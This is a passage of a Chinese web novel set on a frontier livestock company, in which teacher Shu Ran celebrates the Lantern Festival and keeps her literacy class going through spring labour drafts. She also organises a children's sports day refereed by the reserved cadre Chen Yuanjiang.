舒染猛地回神,飞快地将钢笔塞进了棉袄口袋,强作镇定地摇摇头:“没事,刚才喝姜茶喝的。” 许君君狐疑地看了她一眼,又看了看陈远疆离开的方向,似乎明白了什么,抿嘴笑了笑,没再追问—— 作者有话说:马肉那仁:新疆少数民族的传统佳肴,大多以熏制的马肉为主料,大块的肉铺在手工皮带面上,浇以肉汤拌上洋葱丝,就着肉吃面,很美味。 大晚上给自己写饿了[捂脸笑哭] 第67章 转眼就到了正月十四, 元宵节的前一天。 连里的气氛似乎又活络了一些。食堂传出消息,十五晚上会煮一大锅红糖馅的元宵,虽然每人只能分到寥寥几颗, 但已是难得的奢侈。孩子们早已翘首以盼,掰着手指头算时辰。 舒染的生活也重新规律起来。扫盲班恢复了由王大姐和李秀兰主导的日常学习, 她则把更多精力放回学校。 那支英雄钢笔她没舍得用,仔细收好。 下午放学后,她正独自在教室里整理去师部汇演的课本剧思路, 许君君风风火火地跑了进来,脸上带着神秘的笑。 “猜猜我给你带什么来了?”她把手背在身后。 “什么?又是从刘师傅那儿顺的烤馒头片?”舒染笑着打趣。 “比那个强!”许君君变戏法似的从身后拿出一个小铁盒,上面印着模糊的花卉图案,一看就是有些年头的旧物。 “雪花膏!我最后一盒存货了!这鬼天气, 脸都要冻裂了, 咱俩分着用!” 舒染的雪花膏早就被她当人情送光了。在这干燥酷寒的边疆, 这一盒简直是护肤神器。 舒染心里一暖, 知道这是许君君极其珍视的东西。 “这太贵重了……” “少废话!见者有份!”许君君豪爽地打开盒子, 用手指挖了一小半, 强行抹在舒染手上,“赶紧搓搓!还老师呢, 得注意点形象!” 油脂化开,带着淡淡的香气, 滋润着皮肤。 两人相视一笑。 “对了,”许君君一边搓着手一边说, “我刚从连部回来, 好像看到陈远疆和马连长他们又在开会,桌上摊着地图,表情挺严肃的, 是不是开春后有什么大动作?” 舒染心中一动。开春后的生产任务、去师部汇演、扫盲任务…… 许多事情都悬而未决,需要规划和资源。 正说着,教室门又被敲响了。来的是图尔迪和阿迪力。阿迪力手里捧着一个小皮囊,显得有些局促。 “舒老师,明天,元宵节。这个给老师,给孩子们。”图尔迪指了指阿迪力手里的皮囊。 阿迪力上前一步,将皮囊递给舒染,“马□□,热的。阿塔说,过节,喝了好。” 舒染接过皮囊,入手温热,一股醇厚奶香散发出来。 “谢谢!太谢谢你们了!明天我一定分给孩子们尝尝。” 图尔迪憨厚地笑了笑,摆摆手,拉着阿迪力走了。阿迪力临走前,还飞快地看了一眼墙上贴着的红五星剪纸。 “你看,”许君君碰碰舒染的胳膊,“咱们这工作没白做吧?牧民们都记着呢。” 舒染抱着温热的皮囊,心里充盈着一种成就感。 傍晚,舒染去食堂打饭,恰好遇到陈远疆也从连部出来,两人一前一后走在积雪的小路上。 沉默了一会儿,陈远疆忽然开口:“师部汇演的材料,杨干事那边催报了。你抓紧整理一下,重点是创新形式和群众反响。” “好,我这两天就弄好。”舒染连忙应下。 “嗯。”陈远疆应了一声,又沉默了片刻,就在舒染以为对话已经结束时,他忽然又加了一句,“开春后任务重,可能还要抽调人手去新垦区。你自己……提前有个准备。” 这话说得没头没尾,但舒染听懂了。这是在提醒她,开春后连队工作重心可能会转移,她既要抓住汇演和评比的机会,也要应对可能带来的人手紧张问题。 “我明白,谢谢陈干事。”她低声道谢。 陈远疆没再说话,只是加快了脚步,很快走进了连部。 正月十五,元宵节。 天气依旧寒冷,但连里似乎比过年那几天还要热闹些,大家都有一种对春天的期盼。 白天,舒染给几个来教室里找她说话的孩子们讲元宵节的来历和习俗。她用粉笔在黑板上画了碗元宵,讲了元宵和团圆的寓意,还教大家用旧报纸折简单的灯笼。 孩子们学得认真,尤其是听到晚上食堂有真的元宵吃时,眼睛都亮晶晶的。 下午,王大姐和李秀兰带着扫盲班的几个骨干妇女,主动来帮舒染布置教室。 她们剪了新的窗花,把孩子们折的歪歪扭扭的灯笼用线串起来,挂在教室里。虽然简陋,却也有了节日气氛。 “舒老师,你看这样中不?”王大姐贴好最后一个窗花,满意地打量着。 “太好看了!”舒染由衷地说。 李秀兰小声补充:“等晚上点了灯,更好看。” 傍晚,食堂飘出了香甜的味道。家家户户都早早拿着碗盆去排队。果然,每人碗里都盛上了四颗圆滚滚、热腾腾的红糖元宵。 那甜糯的滋味,对于常年缺乏油水和糖分的肠胃来说,简直是难得的美味。 舒染和许君君、王大姐、李秀兰凑在一起品尝着这难得的甜蜜。 孩子们更是吃得满脸幸福,连碗底的最后一点糖水都舔得干干净净。 吃完元宵,天也黑透了。畜牧连的元宵夜,别有一番风情。 家家户户门口都挂起了自制的灯笼——有的是用破脸盆做的,中间点个小蜡烛头;有的是用红纸糊的四方灯;更有手巧的,用冰块挖空了,里面放上蜡烛头,做成别致的冰灯。点点灯火在连队里闪烁。 孩子们提着简陋的灯笼,在连队的小路上嬉笑奔跑,笑声和脚步声打破了夜的寂静。 大人们也难得清闲,聚在门口,互相串门,说着话,分享着简易的零食。 舒染和许君君也提着一个用玻璃罐头瓶做的灯笼,在连里慢慢走着。她们走到教室附近,发现教室里面居然透出光来。 推门进去,只见王大姐、李秀兰,还有石会计的爱人、栓柱娘等几个妇女,正围在火炉边,就着马灯和炉火的光亮,一边纳着鞋底,一边说着家常。 炉子上坐着的水壶噗噗地冒着白汽。 “舒老师,许医生,快来烤烤火!”她们热情地招呼。 “你们咋都在这儿?”舒染惊讶地问。 “家里冷清,这儿暖和,还有伴儿!”栓柱娘笑着说,“再说,这教室可是咱们的心血,在这儿待着,心里踏实!” 舒染和许君君加入进去。炉火映照着大家的脸庞。大家说着开春的打算,聊着家长里短,偶尔也提起远方的家乡,语气里虽有思念,但更多的是一种努力过好当下生活的韧劲。 这是一种不同于现代都市的团圆。 舒染静静地听着,看着,目光偶尔投向窗外,看到了远处的手电筒的光柱。 元宵节过后,年味彻底淡去,畜牧连的生活重又按部就班地回归到生产与学习的轨道上。 天气虽然依旧寒冷,但白日明显变长,向阳处的积雪开始悄悄融化,露出底下冻得硬邦邦的土地,预示着春天不远了。 舒染的身体彻底好了,精力也充沛起来。 她开始着手准备师部汇演的材料,同时也琢磨着如何利用可能到来的“优秀教育工作者”评比机会,在为启明小学争取更多资源之余,她也得为自己搏一搏。 那支英雄钢笔成了她此刻写材料最趁手的工具。 而那个关于陈远疆的疑问,也一直在她心底盘旋。 这天下午,舒染批改完作业,看着窗外逐渐西斜的日头,心里忽然冒出一个念头。 她找出那件叠得整整齐齐的军大衣,抱在怀里,朝着连部走去。 她算准了时间,这个点,陈远疆大概率刚从外面巡逻或者检查回来。 果然,刚走到连部门口,就看见陈远疆正从对面走来,带着一身风尘仆仆的寒气。 “陈干事。”舒染迎上前,脸上带着恰到好处的笑容。 陈远疆停下脚步,目光落在她怀里的军大衣上,眼神几不可查地动了一下。 “天气暖和了,这大衣物归原主。”舒染将大衣递过去,语气轻松自然,“谢谢您,这大衣可帮了我大忙了,不然这个冬天可真难熬。” 陈远疆接过大衣,“嗯”了一声。 舒染心中暗笑,决定开始她的试探。 她要看看那位不时地给她投递物资的“田螺姑娘”究竟是不是陈远疆。 她故作随意地环顾四周,带着几分戏谑的神色和好奇的口吻:“说起来真是怪事,陈干事,您说咱们这地方,是不是真有那种……嗯,民间故事里说的田螺姑娘啊?” 陈远疆的眉头微微蹙起,看向她,眼神里带着疑问和一丝警惕。 舒染仿佛没看到他的不自在,继续自顾自地说下去,扳着手指头数:“您看啊,我缺粉笔的时候,门口就莫名出现了粉笔。教室的破筐里,能捡到生石膏粉。生病的时候能捡到蜂蜜。大过年的,还能收到花生瓜子……哦,还有那几个梨!这可都是稀罕物。” 她眨眨眼,看向陈远疆,目光澄澈,却带着一丝狡黠的探究:“您说,这是不是哪个活雷锋同志,或者……哪位好心的田螺姑娘看我可怜,暗中帮忙啊?” 陈远疆的喉结滚动了一下,脸色绷得紧紧的。他避开舒染的目光,生硬地回答:“后勤……偶尔会有清点多余的物资。给有需要的同志,很正常。” “哦——这样啊。”舒染故意拖长了语调,恍然大悟般点点头,然后又像是想起什么,故作天真地追问,“那……英雄钢笔也是后勤清点出来的?咱们后勤库可真是什么宝贝都有。” “……”陈远疆彻底噎住了,嘴唇抿成一条直线,眼神飘忽,竟一时找不到合适的话来搪塞。 那副冷硬的样子终于出现了一丝罕见的窘迫。 舒染看着他这副难得的吃瘪模样,心里乐开了花,但面上还是努力维持着无辜和好奇的表情。 她见好就收,不再穷追猛打,转而笑道:“不管是谁,反正都得谢谢这位田螺姑娘,真是帮了我大忙了。陈干事您要是认识这位好心人,也替我道声谢?” 陈远疆几乎是立刻接口,语气又快又硬,像是急于结束这个话题:“不认识。你自己……好好工作就是最好的感谢。” 说完,他像是怕舒染再问出什么问题,抓紧了手里的军大衣,几乎是仓促地转身走了。 舒染站在原地,看着他的背影,终于忍不住笑了出来。 这个家伙原来也有这样的一面。 当然,她很清楚,在这个年代,在这个环境,很多事情只能意会,不能言传。 这一点小小的带着试探的戏谑,已经是她能做出的最大胆的回应。 心情愉悦地往回走,舒染甚至哼起了现代歌曲的调子。 又过了阵子,连部的大喇叭不再是拜年的吉祥话,而是通知各排排长、生产骨干开会的喊话。 马连长的嗓门恢复了以往的洪亮,甚至带上了一丝急切。赵卫东的身影重新频繁出现在地头田间,拿着小本子,皱着眉头估算着化冻的时间和播种的进度。 舒染感受到了这种变化。她知道,那种相对松弛的冬歇期结束了。她开始思考如何调整教学和扫盲工作,以适应即将到来的春忙。 这天下午,她正在教室里给孩子们上课,讲着“春种一粒粟,秋收万颗子”的道理,窗外传来了拖拉机的轰鸣声和人们嘈杂的吆喝声。 孩子们忍不住好奇地向外张望。 舒染没有制止,她也走到窗边。只见连部门前的空地上,停着几辆拖拉机,机修组的人正围着它们检修保养。 赵卫东和马连长站在一旁,指着远处的田野,大声讨论着什么。陈远疆也在一旁,正和几个民兵交代事情,神情冷峻。 一种大战将至的气氛弥漫开来。 下课铃声刚响,孩子们就像出笼的小鸟一样跑出去看热闹。舒染收拾好教案,正准备去扫盲班看看,刘书记的通讯员跑来叫她:“舒老师,书记让你去连部一趟。” 舒染隐约觉得可能和开春的安排有关。 果然,连部办公室里,马连长、刘书记、赵卫东都在,陈远疆也在,正看着铺在桌上的一张大地图。 陈远疆再看到舒染,目光在她身上停了一瞬,随机低下头看地图,看不出眼中的情绪。 “舒老师来了,坐。”刘书记招呼她,语气还算温和,但眉宇间带着凝重。 “舒老师,”马连长开门见山,“年过完了,春耕生产是头等大事!劳力紧张,各排各岗都要全力以赴。你的教学工作和扫盲班,不能像冬天那样按部就班了,得给生产让路,想想办法,灵活安排。” 赵卫东补充道:“白天肯定不行,劳力都要下地。最多只能利用早晚工余时间。不能影响生产进度,这是原则!” 舒染早有心理准备,她冷静地问:“连长,书记,赵主任,我明白生产的重要性。具体有什么指示?扫盲班和孩子们的学习不能停,停了再拾起来就难了。” 刘书记点点头:“我们知道。我和连长、陈特派员商量了一下,你看这样行不行:学校这边,上课时间暂时调整到中午休息一个半小时,加上下午收工后到天黑前这段时间。扫盲班……恐怕只能全部放到晚上点了灯以后了。” 他顿了顿,看向舒染:“任务很重,困难很大。但这也是没办法的事。你得克服一下。” 中午时间短,孩子们可能刚吃完饭,状态不好。晚上点灯学习,又极度耗费眼神,而且经过一天劳累,妇女们能否坚持也是问题。舒染迅速权衡着,这确实是个难题。 这时,一直沉默看着地图的陈远疆忽然开口:“师部汇演和可能的评比,也是政治任务,关系到连队荣誉。时间再紧,这部分工作不能松懈,必要的时候,可以适当协调。” 赵卫东皱了皱眉,想说什么,但看了一眼陈远疆,又把话咽了回去。马连长和刘书记对视一眼,点了点头。 “远疆同志说得对。”刘书记对舒染说,“汇演和评比的事,你还是要抓紧。需要连里提供什么方便,你可以提。” 舒染心里有了底。陈远疆这是在有限的范围内,为她争取了一点空间和主动权。 “我明白了,领导。”舒染挺直腰板,“请连里放心,我会根据新的作息时间,尽快调整教学和扫盲计划,保证不影响生产,也努力完成好汇演和评比任务。困难肯定有,但办法总比困难多。” 她的态度让三位领导都露出了些许满意的神色。 “好!要的就是这个劲头!”马连长一挥手,“具体怎么弄,你自己琢磨,拿出个章程来报给连里。” 从连部出来,舒染立刻去找了王大姐和李秀兰,把连里的决定和新的困难告诉她们。 王大姐一听就拍了胸脯:“舒老师,你放心!晚上学习怕啥?俺们不怕黑!煤油灯暗点就暗点,多凑近点就行了!俺去跟那帮妇女们说,谁要是喊累不来,我和秀兰可以给她开开小灶!” 李秀兰也轻声说:“舒老师,中午时间短,我可以早点去教室,帮着照看孩子们吃饭,让你能多点时间准备。” 看着两位得力好室友,舒染心里踏实了不少。 她又找到许君君,商量着能不能弄点缓解眼疲劳的明目药汤,晚上学习时给大家喝点。 许君君满口答应:“包在我身上!我再跟刘师傅说说,看晚上能不能给扫盲班留点热水。” 舒染回到教室,看着桌椅和那块磨得发白的黑板,拿出那支英雄钢笔,在新的一页纸上,郑重地写下了新的工作计划。 窗外,拖拉机的轰鸣声越发响亮。 第68章 开春的气息越浓, 连队里的气氛反而越加紧绷起来。 各种风声和小道消息开始传出来。 舒染去食堂打饭,总能听到职工们三三两两地聚在一起,低声议论着。 “听说了吗?开春要大干!新垦区那边要上马个大工程!” “可不是嘛, 说是要引水,工程量大了去了!” “那得抽调多少人手啊?咱们连本来劳力就紧张……” “唉, 这要是人都抽走了,地谁种?牲口谁喂?” “谁知道呢,一句话的事, 咱们就得跑断腿。” 舒染听着,心想起陈远疆之前的提醒,看来并非空穴来风。 如果连队劳力被大量抽调,不仅生产受影响, 她那个小小的扫盲班和学校, 恐怕也难以维持。 那些刚刚对学习产生兴趣的妇女和孩子们, 很可能又会被劳动拉回去。 更让她心烦的是, 关于师部汇演和“优秀教育工作者”评比的消息, 似乎也停滞了。 杨干事那边再无新的音讯传来, 仿佛之前的兴奋只是一场空欢喜。 这天,舒染正在教室里带着孩子们朗读课文, 连长马占山和支部书记刘书记一脸严肃地走了进来。 “舒老师,忙呢?”刘书记开口, 语气比平时沉重些。 孩子们立刻安静下来,好奇地看着领导。 舒染心里有种不好的预感。 她让孩子们先自习, 跟着两位领导走到教室外。 “舒老师, ”马占山搓着手,眉头紧锁,“情况你也可能听说了。开春后, 团里下了死命令,新垦区的任务是头等大事,各连都要抽调精壮劳力上去。咱们连……任务很重啊。” 刘书记接过话头,语气带着歉意:“是啊,舒老师。我们知道你这边,学校、扫盲班,刚有点起色,汇演也等着准备。但是生产任务压倒一切。可能到时候连王桂兰、李秀兰她们,也得根据情况,安排去参加一些辅助劳动。你的教学时间,恐怕会受到很大影响。” 舒染的心直往下沉。最担心的事情还是发生了。 她保持镇定,问:“连长,书记,那师部汇演和评比……” “汇演肯定还是要去!这是政治任务,也是咱们连的荣誉!”马占山立刻表态,但随即语气又软了下来,“不过,这准备工作……舒老师,可能就得你多辛苦辛苦,挤时间了。连里实在抽不出更多人手帮你了。至于评比……唉,先顾好眼前吧。” 虽然早有预料,但亲耳听到领导这样说,舒染还是感到一阵无力感涌上心头。她所有的计划和努力,在生产任务面前,显得非常微不足道。 她沉默了一会儿,抬起头,“连长,书记,我明白了。生产任务重要,我服从连里安排。教学和汇演的准备,我会自己想办法,尽量不影响连里大局。” 马占山和刘书记对视一眼,都松了口气。 “舒老师,你真是好样的!识大体,顾大局!”马占山连连称赞。 “困难是暂时的,等新垦区的工程上了正轨,情况肯定会好转。”刘书记也只能这样安慰。 送走两位领导,舒染回到教室,看着下面那些睁着懵懂眼睛的孩子,心里五味杂陈。 她强打起精神,维持着课堂的秩序,但心思早已飞到了即将到来的困境上。 好不容易熬到放学,孩子们全都离开了教室。舒染坐在讲台后面,望着窗外逐渐融化的积雪,感到有些茫然。 生产压倒一切,这句口号的力量,是她如何也扭转不了的。 “怎么了?魂不守舍的。”许君君的声音从门口传来,她背着药箱,显然是刚巡诊回来,“马连长和刘书记刚才来找你,是不是说抽调劳力的事?” 舒染抬起头,看到好友关切的眼神,心里一暖,点了点头:“嗯。开春新垦区挖渠的事,要抽调大量人手。王大姐、秀兰她们可能都得去参加辅助劳动,教学时间……恐怕很难保证了。” 许君君走进来,放下药箱,眉头也皱了起来:“我也听说了,这次任务很重,连卫生室都可能要被抽调去工地做应急保障。这可真是……”她叹了口气,“你那汇演和评比怎么办?” “领导说汇演是政治任务,必须去,但准备工作得我自己挤时间。评比……暂时顾不上了。”舒染苦笑一下,“我现在最发愁的是,孩子们和扫盲班刚有点起色,这一下子可能又要回到原点了。” 两个姑娘相对无言,都能感受到彼此眼中的无奈。 时代的洪流面前,个人的努力显得微不足道。 “走,先回去。”许君君拉起她,“光愁没用,回去跟王大姐和秀兰也通个气,大家一起想想办法。三个臭皮匠还顶个诸葛亮呢!” 回到地窝子,王大姐已经把在做饭棚子开个小灶端回了地窝子,一锅糊糊的玉米碴子粥,一小碟咸菜。李秀兰正帮着摆碗筷。 吃饭的时候,舒染尽量用平静的语气把连里的决定和面临的困难说了出来。 王大姐一听就放下了碗,嗓门不由得提高了:“啥?让我们都去挖渠?那扫盲班咋办?孩子们咋办?这刚学出点模样来!”她脸上带着焦急和不平,“舒老师,不是我说,这……这太耽误事了!” 李秀兰也小声附和,眼里满是担忧:“是啊,舒老师,扫盲班要是一打断……” 舒染看着她们,心里既感动又酸楚。她们首先想到的不是自己要去干更累的活,而是学习和孩子们被耽误了。 “大姐,秀兰,我知道你们的心思。”舒染安抚道,“但连里的生产任务是大事,咱们得服从安排。我叫你们回来,就是想和大家一起商量商量,看看在这么难的情况下,咱们怎么能尽量把学习和教学维持下去。” 地窝子里沉默了下来。 过了一会儿,王大姐猛地一拍大腿:“我看这样!工地干活也不是一天到晚不歇气!总有晌午头歇晌的时候,晚上下工也早!咱们能不能就把学习挪到这些零碎时间里?晌午教几个字,晚上再复习一会儿?地方也好办,工地边上找个背风的地方就能学!” 李秀兰眼睛一亮,补充道:“对,还可以把字写在纸上,让大家揣在口袋里,干活休息的时候也能摸出来看一眼……” 许君君也插话道:“我看行,而且染染,你不是还想着牧区那边吗?连队劳力紧张,但牧区开春接羔育幼忙过那一阵后,反而能有点空闲。你这段时间正好可以多往牧区跑跑,把那边的知识毡房先建起来!这边零碎时间的教学,让王大姐和秀兰先顶上看。” 你一言我一语,刚才还沉闷的气氛顿时活跃起来。思路一打开,办法似乎总比困难多。 舒染看着眼前这三位同伴,心中的阴霾被驱散了大半。 “好,”舒染脸上露出了笑容,“那就这么办!王大姐,秀兰,以后晌午和晚上的学习,就得多靠你们俩组织主持了。许大医生,你有空也多来指点指点卫生常识。” “行!包在我身上!”王大姐拍着胸脯,豪言壮志地说。 “我一定尽力!”李秀兰也用力点头。 “没问题!”许君君笑道。 舒染心里想,她们或许无法改变大的政策方向,但能用自己的办法为自己、也为孩子们,争取一片求知的空间。 情绪低落了两天,舒染强迫自己振作起来。抱怨解决不了任何问题,她必须想办法在夹缝中求生存。 她首先重新规划了时间。将文化课教学尽量集中在上午,下午则安排更多需要动手和小组协作的活动,这样即使她偶尔需要外出或者被临时叫去帮忙,孩子们也能进行一些自习活动。 对于扫盲班,她加快了进度,将一些最常用的字词和实用的方法优先教给王大姐和李秀兰,确保即使她不在,她们也能带领其他妇女进行复习和简单学习。 一天清晨,她来到教室,发现讲台上放着一捆削得光滑整齐的细木棍和一小罐黑墨汁。木棍的粗细长短正好适合做笔杆,墨汁虽然粗糙,但比石灰块好用得多。 没有纸条,没有留言,但她几乎立刻就想到了那个人。 又过了两天,她在教室角落发现了一叠废弃的报表纸,纸张背面光滑,比孩子们用的粗糙纸张更适合练字。 最让她惊喜的是,她甚至收到了一本纸张发黄起毛的《简易绘图法》小册子,里面有一些简单的舞台布局和道具制作示意图。 这些东西,每一样都精准地戳中她当下的需求,她不再去试图戳穿什么,只是默默地将这些物资用好,心里那份感激和暖意,愈发厚重。 他在用他的方式,告诉她:他知道她的难处,他在尽力。 同时,她也开始主动出击。她利用晚饭后的休息时间,主动去找那些家里有孩子上学的职工家属聊天,不谈困难,只聊孩子的进步,聊学习的好处,潜移默化地争取她们的理解和支持。 甚至,她鼓起勇气,再次去找了赵卫东。 这一次,她没有提任何要求,只是拿着孩子们写的工整了不少的字和扫盲班妇女们开始能看懂的简单条据,向他汇报教育成果,并委婉地表示,即使在生产繁忙时期,如果能尽量保证最基本的学习时间,长远来看,对提高职工和家属的素质、甚至对生产本身都是有益的。 赵卫东虽然脸上还是没什么表情,但最终硬邦邦地甩出一句:“只要不耽误正事,你自己看着安排。但人手,别想。” 这已经算是难得的让步了。 舒染还把主意打到了牧区。 她让阿迪力带话给老阿肯和图尔迪,知识毡房可以办起来了,可以在牧区相对闲暇时,组织牧区的孩子们进行一些集中的识字学习,哪怕只是认识最常见的牲畜名称、数字和简单的汉语对话。她定期过去指导。 老阿肯的回复也很积极。他表示欢迎,甚至提出可以提供一个空的毡房作为临时教学点。对于牧民来说,知识同样是改变命运的希望。 思路一打开,舒染感觉眼前的困局似乎松动了许多。 她不再仅仅依赖于连队的资源和支持,开始尝试利用一切可能的机会和空间,将她的教育事业延续下去。 冰雪消融,道路终于变得通畅。师部汇演的通知正式下达,时间定在四月底。畜牧连的节目《红灯记》选段在列。 消息传来,连里着实又轰动了一阵。马连长和刘书记脸上有光,特意批了条子,让参演的妇女和孩子这两天免于出工,专心排练。 甚至连赵卫东,都难得地没有抱怨,只是嘟囔了一句:“去了就别给畜牧连丢脸。” 第69章 开春的太阳有了点暖意, 照得积雪消融,地面露出斑驳的湿痕。 连队里却气氛沉闷,大生产任务压在每个人心头。孩子们心上也存在着压力, 大人被抽调去新垦区,大点的孩子也要担任一些生产任务, 再加上临近的师部表演的压力…… 大人和娃娃们都蔫蔫的。 一天,许君君背着药箱来教室给一个摔破膝盖的孩子换药,看着屋里没精打采的小脑袋, 皱起了眉:“这么下去不行啊,一个个跟霜打的茄子似的,没点精神气儿,开春容易生病。回头一场倒春寒全得躺下!得动起来!” 舒染正为教学时间可能被压缩的事烦心, 闻言叹了口气:“没办法, 连里气氛就这样。” 许君君眼睛一转, 凑近些低声道:“哎, 我说, 咱们搞点动静出来?搞个小的……运动会咋样?让孩子们跑跑跳跳, 出出汗,人也精神点。职工家属们看了也高兴。” 舒染一愣:“运动会?这节骨眼上, 连里能同意?再说,哪来的器材奖品?” “要啥正规器材?”许君君不以为然, “丢沙包会不会?跳格子会不会?拔河绳子总找得到吧?奖品?糊点小红花,你那铅笔头、水果糖不是还有存货吗?咱们不搞大的, 就在教室前头这片空地上, 不耽误多少工夫!” 舒染心思活络起来。这主意确实好,花钱少,动静小, 效果大。 但她马上想到关键:“好是好,可谁来做裁判发令?得找个压得住场、说话没人敢耍赖的。” 她顿了顿,脑子里几乎是立刻跳出一个名字,一个身影。心口莫名快跳了两下。 许君君显然也想到了同一个人,促狭地挤挤眼:“喏,那位陈干事不就正合适?威信高,办事公道。”她特意加重了最后两个字。 舒染脸上有点热,瞪了她一眼,心里却飞快地盘算起来。 找他,确实最合适。但……用什么理由?直接说?那人多半一句“胡闹”就给顶回来。得找个他无法拒绝,又公事公办的由头。 她清了清嗓子,一本正经:“嗯,陈干事确实是最佳人选。这是有利于增强连队凝聚力、活跃群众文化生活的好事,请他支持一下,也是理所应当。”这话说得冠冕堂皇,连她自己都快信了。 但她心底深处,又有一丝连自己都不太愿意深究的期待:或许……他不会觉得这完全是胡闹? 许君君噗嗤一笑:“行行行,舒老师您觉悟高!快去请你的最佳人选吧!” 她利索地站起身:“那,我先去跟连长说!” 舒染找到马连长,没提提振士气那么虚的话,只说是“响应上级增强人民体质的号召,利用课余一刻钟搞个小型体育锻炼活动,保证不影响生产”。 马连长正被生产指标压得焦头烂额,一听是这种不费钱不费事还能落个好名声的小活动,挥挥手就同意了:“搞吧搞吧,注意安全就行。” 从连长地办公室出来,舒染整理了一下衣服,深吸一口气,朝着陈远疆的办公室走去。 一路上,风吹在脸上,带着点残雪的凉意,让她发热的头脑稍微冷静了些。 她暗自嘀咕:舒染啊舒染,想什么呢?请他帮忙就是请他帮忙,别想那些有的没的。他答应最好,不答应……再想别的办法。对,公事公办。 这时,正好撞见陈远疆从里面出来,手里拿着一卷图纸,眉头习惯性地锁着。 “陈干事。”舒染叫住他,脸上摆出最得体的笑容。 陈远疆停下脚步,目光落在她脸上,眼神里的锐利收敛了一瞬,只是微微颔首,等着她开口。 “陈干事,有个事想请您支持一下。”舒染语速平稳,“为了响应上级增强人民体质的号召,也趁着天气转暖,我们想利用明天下午工间休息的时间,给孩子们组织一个小型的体育锻炼活动,就是丢沙包、跳格子、拔河之类的小游戏。” 她仔细观察着他的表情,他依旧没什么表情,只是听着。 “活动虽小,但也需要个有威信、办事公道的同志来发令裁判,避免孩子们争吵。”她说到这里,语气放得更加诚恳,“我想来想去,连里就数您最合适。不知道您明天下午那个时间,方不方便抽出一点时间……” 她说完,眼睛一眨不眨地看着他。 她看到他听完后,眉头动了一下,视线从她脸上移开,看向了旁边的白杨树干。 他在犹豫?还是觉得这要求很无聊?在找理由拒绝? 沉默了几秒钟,这短暂的几秒对舒染来说却有点漫长。她几乎要以为他会拒绝了。 她甚至开始后悔,是不是太冒失了?他这样严肃的人,怎么会对这种小孩子过家家似的活动感兴趣! 终于,他转回视线,目光重新落在她脸上,依旧是那副冷硬的样子,但开口却只有一个字:“行。” 答应了?就这么答应了?舒染心里先是松了口气,努力压住上扬的嘴角,保持着感激之情:“太好了!谢谢陈干事支持我们工作!明天下午,就在教室前面的空地上。” “嗯。”他又应了一声,算是知道了。然后追加了一句,“一定要注意安全。” “您放心!绝对保证安全!”舒染立刻保证。 目的达到,她见好就收:“那我不打扰您工作了。”说完,便转身离开。走出几步,她忍不住回头看了一眼。 只见陈远疆还站在原地,目光似乎还落在她的背影上。见她回头,他像是被烫到一样,立刻移开视线,低头假装看手里的图纸,动作快得有点欲盖弥彰。 舒染赶紧转回头,心里那点小得意变成了忍不住的笑意。这个木头人,也有露馅的时候。至少,他并不讨厌参与她的事情,这就够了。至于其他……慢慢来,不急。 舒染得了准信,立刻行动起来。 她让王大姐和李秀兰动员扫盲班的妇女们,用碎布头掺点麸皮缝了几个沙包。又让石头带着大点的孩子,找了块相对平整的土地,用石灰块画上了跳格子的线。拔河绳子是现成的,从仓库借了根粗麻绳。 消息一传开,孩子们顿时炸了锅,所有的萎靡不振一扫而空,围着舒染问东问西,眼睛亮得惊人。 “舒老师!啥时候比赛?” “我能报名丢沙包吗?” “拔河咱们组肯定赢!” 运动会定在第二天下午工间休息时间。 运动会当天,阳光正好。小小的空地上挤满了孩子,连不少收工早的职工和家属也被吸引过来,围在旁边笑呵呵地看着。 陈远疆果然来了,手里还拿着一个旧的铁皮哨子。他站在场地边,身姿笔挺,表情严肃,与周围嬉笑玩闹的氛围形成了巨大反差,像个走错了片场的教导主任。 “第一项,短跑!预备——”他举起哨子,声音冷硬,引得周围大人一阵善意的哄笑。孩子们却立刻紧张起来,绷着小脸做出起跑姿势。 “哔——!”哨音响起。 孩子们像小马驹一样冲了出去,扬起一片尘土。牧民孩子巴彦和赛达尔果然冲在了最前面,穿着小皮靴在土地上踏得啪啪响,引得围观的人阵阵叫好。 舒染一边忙着组织,一边忍不住时时用眼角余光瞟他。 陈远疆站在终点线,认真到近乎刻板。他严格判罚踩线,分辨谁先到达终点,让这场简陋的运动会显得正规了那么一点。 接下来是丢沙包。女孩们更占优势,小丫扔得又准又远,赢得了最多的喝彩。 陈远疆拿着个小本子和钢卷尺,居然还在记成绩。 跳格子比赛更是笑料百出,孩子们单脚跳得东倒西歪,不时有人踩线或者摔倒,引得大家哈哈大笑。 陈远疆皱着眉,严格地判罚着,被一群孩子围着争论,竟有些手足无措的窘迫。 最后是拔河。连队的孩子和牧民孩子混合组队。连队孩子劲儿往一处使,喊着号子;牧民孩子则凭着一股野劲儿猛拉。麻绳绷得紧紧的,两边脸都憋得通红。 围观的大人们也激动起来,大声喊着加油。 陈远疆正看着拔河现场,眼神里有闪过一丝温和的情绪。 舒染也挤在人群里加油,恰好撞上陈远疆的目光。两人的目光在空中短暂相接。舒染下意识地想对他笑一下。 陈远疆立刻移开了视线,表情瞬间恢复冷硬,见胜负已出,猛地吹响了哨子。 最终,一队险胜。孩子们欢呼着抱成一团,在地上打滚。 舒染和许君君忙着给每个参与的孩子发奖品:一朵旧报纸糊的、红墨水染的大红花,优胜的再加一个铅笔或一把水果糖。 每个孩子都像得了宝贝一样,脸上洋溢着笑容。 陈远疆站在一边,看着这喧闹欢腾的场面,看着舒染忙碌的身影。他悄悄将哨子揣回口袋,转身想离开。 “陈干事!”舒染眼尖,喊住了他,拿着一朵最大的红花跑过来,“辛苦了!这是您的裁判员报酬!” 陈远疆看着递到眼前的大红花,愣了一下,脸上露出茫然的神色,似乎从来没处理过这种状况。 周围有人起哄:“陈干事,收下吧!劳动所得!” “就是!舒老师手艺多好啊!” 陈远疆耳根又有点红,迟疑了一下,最终还是伸出手接过了大红花,含糊地说了声:“我还有事。”然后立刻转身走开了,那朵大红花在他手里捏着,随着他的步伐一颠一颠。 许君君不知何时凑到了舒染身边,用手肘轻轻碰了她一下声音带着促狭的笑意: “啧,看见没?咱们陈特派员也有今天!被朵大红花搞得都快同手同脚了!这木头桩子,怕是头一回收到女同志送的花吧?” 舒染被她打趣得脸上微微一热,但很快镇定下来。 “许大医生,思想纯洁点。陈干事是来帮忙的,这是正常的同志感谢。再说,他那是在思考工作,没空理会咱们这点小打小闹。” 许君君夸张地“哦——”了一声,拉长了调子,眼神里的戏谑更浓了:“思考工作啊?思考得耳朵尖都红了?行行行,你说正常就正常。不过啊,”她凑得更近,声音压得更低,“你这当得可真够下本钱的,连裁判员的报酬都提前备好了,还特意挑了朵最大的……哎,你别拧我!” 舒染没好气地收回掐在许君君胳膊上的手,脸上却忍不住又漾开一点笑意。 